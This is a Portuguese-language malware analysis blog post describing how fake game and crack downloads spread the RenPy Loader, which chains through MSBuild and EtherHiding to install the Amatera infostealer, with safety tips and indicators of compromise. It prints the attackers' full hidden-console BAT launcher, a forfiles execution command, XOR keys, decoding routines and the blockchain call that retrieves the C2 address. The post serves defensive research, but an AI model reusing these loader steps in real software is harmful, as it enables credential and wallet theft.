Jogos falsos disseminam programas de roubo de dados através do RenPy Loader, do MSBuild e do EtherHiding

| 20 de julho de 2026
Logótipo do Ren'Py

Detetámos várias campanhas que utilizam downloads falsos de jogos, mods, cracks e software para propagar o RenPy Loader. Uma vez instalado, o carregador inicia uma cadeia de infeção complexa e em várias fases que explora o MSBuild e a técnica EtherHiding, antes de, por fim, instalar o Amatera Stealer.

O Amatera é um «infostealer» — um tipo de malware concebido para roubar informações confidenciais de um dispositivo infetado. Pode ter como alvo palavras-passe e outros dados armazenados em navegadores, carteiras de criptomoedas, extensões de navegador, aplicações de mensagens e ficheiros locais. As credenciais e os dados de sessão roubados também podem permitir que os atacantes acedam às contas online da vítima.

A vítima pode ver o que parece ser um jogo ou um programa de instalação de software normal, enquanto o malware funciona silenciosamente em segundo plano.

O RenPy Loader, também conhecido como RenEngine Loader, é particularmente interessante porque se aproveita do Ren’Py, um motor legítimo utilizado para criar romances visuais, jogos centrados na narrativa e ficção interativa. Ao ocultar código malicioso no interior de software associado aos jogos, os atacantes conseguem fazer com que os seus downloads pareçam mais credíveis para quem procura jogos, mods ou software pirateado.

Já vimos anteriormente que os atacantes utilizam indevidamente ferramentas de desenvolvimento legítimas e frameworks de software emergentes, incluindo o Bun e o Deno, para distribuir malware. O RenPy Loader segue o mesmo padrão: os atacantes abusam de tecnologia legítima para disfarçar atividades maliciosas, complicar a cadeia de infeção e tornar a deteção mais difícil.

Verificou-se também que o RenPy Loader distribui outro malware, incluindo o HijackLoader e o Lumma Stealer, o que demonstra que a carga útil final pode variar de campanha para campanha.

Neste blogue, analisamos uma cadeia de infeção na qual o Ren’Py descodifica um arquivo ZIP que contém um ficheiro BAT e vários ficheiros de projeto MSBuild. Estes ficheiros carregam um componente .NET infectado com um trojan, que, por sua vez, descodifica outro componente malicioso.

Esse componente malicioso utiliza uma técnica denominada EtherHiding para localizar o seu servidor de comando e controlo (C2). Em vez de armazenarem o endereço do C2 diretamente no malware, os atacantes ocultam-no em dados armazenados numa blockchain pública. O malware descarrega então as próximas fases do ataque a partir desse servidor, tornando a infraestrutura dos atacantes mais difícil de identificar e neutralizar.

Por fim, analisamos as cargas úteis adicionais que, em última análise, descodificam e executam o Amatera Stealer.

Os downloads falsos infetam o seu dispositivo

A infeção tem início quando alguém descarrega um suposto jogo, mod, crack ou programa. Detetámos ficheiros maliciosos distribuídos através de:

  • Sites maliciosos
  • Portais de download de jogos
  • Vários serviços de partilha de ficheiros, incluindo o Wormhole, o GoFile, o Google Drive e o MEGA

Eis algumas das páginas detetadas que dão início à cadeia de infeção:

Em vários casos, ao clicar num link de download, o utilizador era redirecionado para outro site de download falso. Estas páginas utilizavam designs diferentes e nomes de serviços inventados, o que contribuía para que as campanhas parecessem menos repetitivas e tornava a infraestrutura maliciosa mais difícil de reconhecer.

Seguem-se alguns exemplos de páginas de download falsas utilizadas para distribuir o ficheiro compactado malicioso:

O utilizador descarrega um arquivo que contém um ficheiro chamado Setup.exe. Ao abrir este ficheiro, inicia-se a cadeia de infeção.

Exemplo de um ficheiro comprimido descarregado de um site malicioso
Exemplo de um ficheiro comprimido descarregado de um site malicioso

A vítima vê um ecrã de carregamento ou de instalação, mas, em segundo plano, está a ser executado código malicioso.

O ecrã de instalação
O ecrã de instalação

Como se manter seguro

Algumas precauções podem reduzir o risco de descarregar jogos ou software malicioso:

  • Descarregue jogos e software a partir de sites oficiais, lojas de aplicações de confiança ou plataformas de distribuição reconhecidas.
  • Tenha cuidado com software pirata, mods não oficiais e versões gratuitas de jogos pagos.
  • Tenha cuidado quando um link de download o redirecionar através de vários sites desconhecidos ou serviços de partilha de ficheiros.
  • Verifique o conteúdo dos arquivos comprimidos descarregados antes de abrir ficheiros executáveis, tais como Setup.exe.
  • Procure nomes de ficheiros invulgares, imagens ou ficheiros de texto sem relação com o tema e conteúdos que não correspondam ao que pretendia descarregar.
  • Utilize software antimalware em tempo real, como o Malwarebytes.
  • Mantenha o seu sistema operativo, navegador e software de segurança atualizados.

Os responsáveis por estas campanhas criam constantemente novos sites e alteram as suas páginas de download. Um programa de instalação com aspeto profissional ou um serviço de partilha de ficheiros conhecido não garante que um download seja seguro.

Análise técnica do carregador do RenPy

O Ren’Py é um motor gratuito e de código aberto para a criação de romances visuais, jogos centrados na narrativa e ficção interativa. O Ren’Py permite a integração de scripts em Python, que os atacantes exploram para inserir código malicioso.

Neste caso, detetámos código malicioso nos seguintes ficheiros e caminhos:

Caminho

Descrição

data/python-packages/sys_config/

Classes anti-sandbox

data/libwin32.rpa

Carregador

data/.GEg

Configuração encriptada com XOR

data/j3lpTcg7kBRN.E3

ZIP encriptado com XOR

O propulsor do primeiro estágio extraído de libwin32.rpa executa as seguintes operações:

  • Lê a configuração data/.GEg e descodifica-o utilizando a descodificação Base64 e a operação XOR com a chave 81034149cd6f48c8821340204f92766e. Esta configuração contém a palavra-passe utilizada para extrair o ficheiro ZIP, juntamente com outros dados de configuração utilizados pelo carregador.
  • Chamadas sys_config.is_sandboxed() e encerra a execução caso seja detetada uma sandbox.
  • Descriptografia XOR data/j3lpTcg7kBRN.E3 utilizando a chave A50YyY1 para obter o ficheiro ZIP.
  • Extraia o conteúdo do ficheiro ZIP para uma pasta aleatória na subpasta %TEMP%/tmp-{5 digits}-{12 characters} e escreve um :Zone.Identifier fluxo de dados alternativo (ADS) com ZoneId=0 para remover a «Marca da Web» e contornar o SmartScreen. Além disso, insere um REM string no ficheiro BAT extraído.
  • Lança a carga útil utilizando forfiles.exe.
  • Envia o MAC do computador e o ID da campanha para um site de rastreamento.
A configuração descodificada
A configuração descodificada
Os ficheiros contidos no ZIP descodificado
Os ficheiros contidos no ZIP descodificado

Neste caso, o ficheiro BAT extraído foi executado utilizando o seguinte comando:

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Conteúdo do ficheiro BAT:

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

O ficheiro BAT executado realiza as seguintes operações:

  • Reinicia-se numa consola oculta ou sem interface gráfica:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
  • Ativa as funções de propriedade do MSBuild, permitindo métodos adicionais, tais como AppDomain.CurrentDomain.Load a executar:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
  • Executa MSBuild.exe com Nancy.csproj como ficheiro de projeto. Durante a avaliação do projeto, uma função de propriedade maliciosa do MSBuild descodifica em hexadecimal e carrega de forma reflexiva a DLL seguinte.

A DLL «Nancy» infectada com um trojan e o bytecode personalizado

Nancy.csproj importa os três ficheiros extraídos Nancy.csproj.user, Internal.props, e Nancy.Compile.targets. A DLL maliciosa está dividida em três valores armazenados nestes ficheiros.

Os ficheiros importados no ficheiro Nancy.csproj
Os ficheiros importados no interior de Nancy.csproj

Nancy.Compile.targets concatenar os três valores para descodificar a DLL em hexadecimal e executar o DefaultEvaluator5 método que utiliza AppDomain.CurrentDomain.Load.CreateInstance.

Execução do DefaultEvaluator5
Execução de DefaultEvaluator5

O mais interessante é que Nancy.csproj tem duas finalidades: é o projeto MSBuild utilizado para executar o carregador da primeira fase e contém também a fase seguinte, descodificada pelo carregador.

A DLL é uma versão trojanizada da biblioteca Nancy .NET e constitui um carregador .NET ofuscado com código malicioso implementado no DefaultEvaluator5 classe. Algumas das funcionalidades da DLL são implementadas em bytecode personalizado executado por este método «main».

Comparação entre as DLLs legítimas e as DLLs «trojanizadas» do Nancy
Comparação entre as DLLs legítimas e as DLLs «trojanizadas» do Nancy

A DLL executa as seguintes operações:

  • Descodifica cadeias de caracteres dos recursos utilizando a descodificação XOR com várias chaves.
  • Resolve APIs utilizando o hash de API e GetDelegateForFunctionPointer.
  • Altera as definições de rede, incluindo a desativação da validação de certificados TLS e a definição do proxy predefinido do sistema.
  • Realiza operações anti-forenses.
  • Lê o _czzf variável de ambiente, que aponta para a anterior Nancy.csproj ficheiro, e, em seguida, descodifica-o e executa-o.

O principal DefaultEvaluator5 Este método recupera cadeias de caracteres e interpreta o bytecode contido nos seguintes recursos:

  • Nancy.Runtime.mvlorimu: Contém o bytecode personalizado. O bytecode é interpretado por _pv e _sro. Implementa 23 códigos de operação utilizados para descodificar outras cadeias de caracteres e carregar a DLL da fase seguinte.
  • Nancy.Data.tcnlhxw e Nancy.Resources.kxxodp: Contém as cadeias de caracteres encriptadas e outros dados utilizados para a desencriptação, incluindo chaves, comprimentos, índices e a S-box.

As cadeias de caracteres são descodificadas utilizando o seguinte algoritmo:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

A próxima fase da DLL, GollopDevest, é descodificado a partir do mesmo Nancy.csproj ficheiro que utiliza a seguinte lógica e que contém AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]
A fase seguinte codificada entre os marcadores Pack
A próxima etapa codificada entre o Pack marcadores

EtherHiding e Amatera Stealer

A próxima etapa extraída é uma DLL chamada GollopDevest.dll, um programa de descarregamento .NET que utiliza a técnica EtherHiding para obter o endereço do seu servidor de comando e controlo (C2) e descarregar a fase seguinte.

O domínio C2 encriptado é obtido através de um JSON-RPC do Ethereum eth_call pedido para bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

É provável que este programa de download EtherHiding faça parte de uma operação de «malware como serviço» (MaaS), uma vez que detetámos a sua distribuição noutras campanhas, incluindo as campanhas ClickFix.

São então descarregadas três cargas úteis adicionais: duas DLLs .NET denominadas PavinWide (uma DLL anti-análise) e GollopDevest (uma DLL de carregamento) e uma DLL em C++ chamada LanoseThrip, que, em última análise, descodifica e carrega o Amatera Stealer.

Neste caso, estas cargas úteis foram descarregadas a partir de:

  • /assets/ExponeAboard.json
  • /assets/MailersKogasin.json
  • /assets/LanoseThrip.json

As DLLs do .NET são fortemente ofuscadas através do achatamento do fluxo de controlo e de chamadas indiretas através de calli/ldftn, encriptação de cadeias de caracteres com vários algoritmos, código inútil, código inativo e cadeias de caracteres falsas, tais como percursos de URL.

A análise destas DLLs ainda está em curso e será abordada com mais pormenor nas próximas publicações do blogue.

Indicadores de compromisso (IOCs)

Domínios

  • downpro[.]net – Site falso de downloads
  • macisofile[.]sbs – Site falso de downloads
  • visitmama[.]blog – Site falso de downloads
  • visitmama[.]guru – Site falso de downloads
  • getgamerfree[.]com – Site falso de downloads
  • fullgames[.]digital – Site falso de downloads
  • flingbase[.]net – Site falso de downloads
  • citronemu[.]com – Site falso de downloads
  • filemodo[.]xyz – Infraestrutura de distribuição
  • storage06x[.]cfd – Infraestrutura de distribuição
  • p03sil[.]cyou – Infraestrutura de distribuição
  • wimsedas[.]xyz – Infraestrutura de distribuição
  • againstmor[.]store – Infraestrutura de distribuição
  • host03q[.]cfd – Infraestrutura de distribuição
  • cloud01y[.]cfd – Infraestrutura de distribuição
  • storage11x[.]cfd – Infraestrutura de distribuição
  • storage04x[.]cfd – Infraestrutura de distribuição
  • host82p[.]cfd – Infraestrutura de distribuição
  • cloud05y[.]cfd – Infraestrutura de distribuição
  • analyticstrack-pzh[.]click – Site de acompanhamento
  • login.orbitalframework[.]cc – Amatera Stealer C2

Endereços IP

  • 144.124.251[.]171 – Utilizado para obter cargas úteis adicionais
  • 195.63.140[.]33 – Utilizado para obter cargas úteis adicionais
  • 78.40.196[.]252 – Utilizado para obter cargas úteis adicionais

Hashes de ficheiros (MD5)

  • 29203ca123d51b1b33505a0813d360df – Carregador de primeira fase (DLL com código trojan)
  • 810F257542018BE0FC62AF542D13D012 – DLL do GollopDevest (DLL do programa de transferência)
  • 681DB529E402467A4B0567C82A350FC0 – DLL PavinWride (DLL anti-análise)
  • 2E116632248A7E1F8AA6BCA92D9C1C90 – DLL do GollopDevest (DLL do carregador)
  • F8453EFE408CE25B9484F872797E3D63 – Carga útil final

Prémio «Escolha dos Editores» da CNET 2026

Segundo a CNET.Leia a análise deles


Sobre o autor

O Gabriele é um engenheiro de investigação de malware que adora combater o malware. Quando não está a fazer isso, pode encontrá-lo a desfrutar da natureza, da arte e dos animais.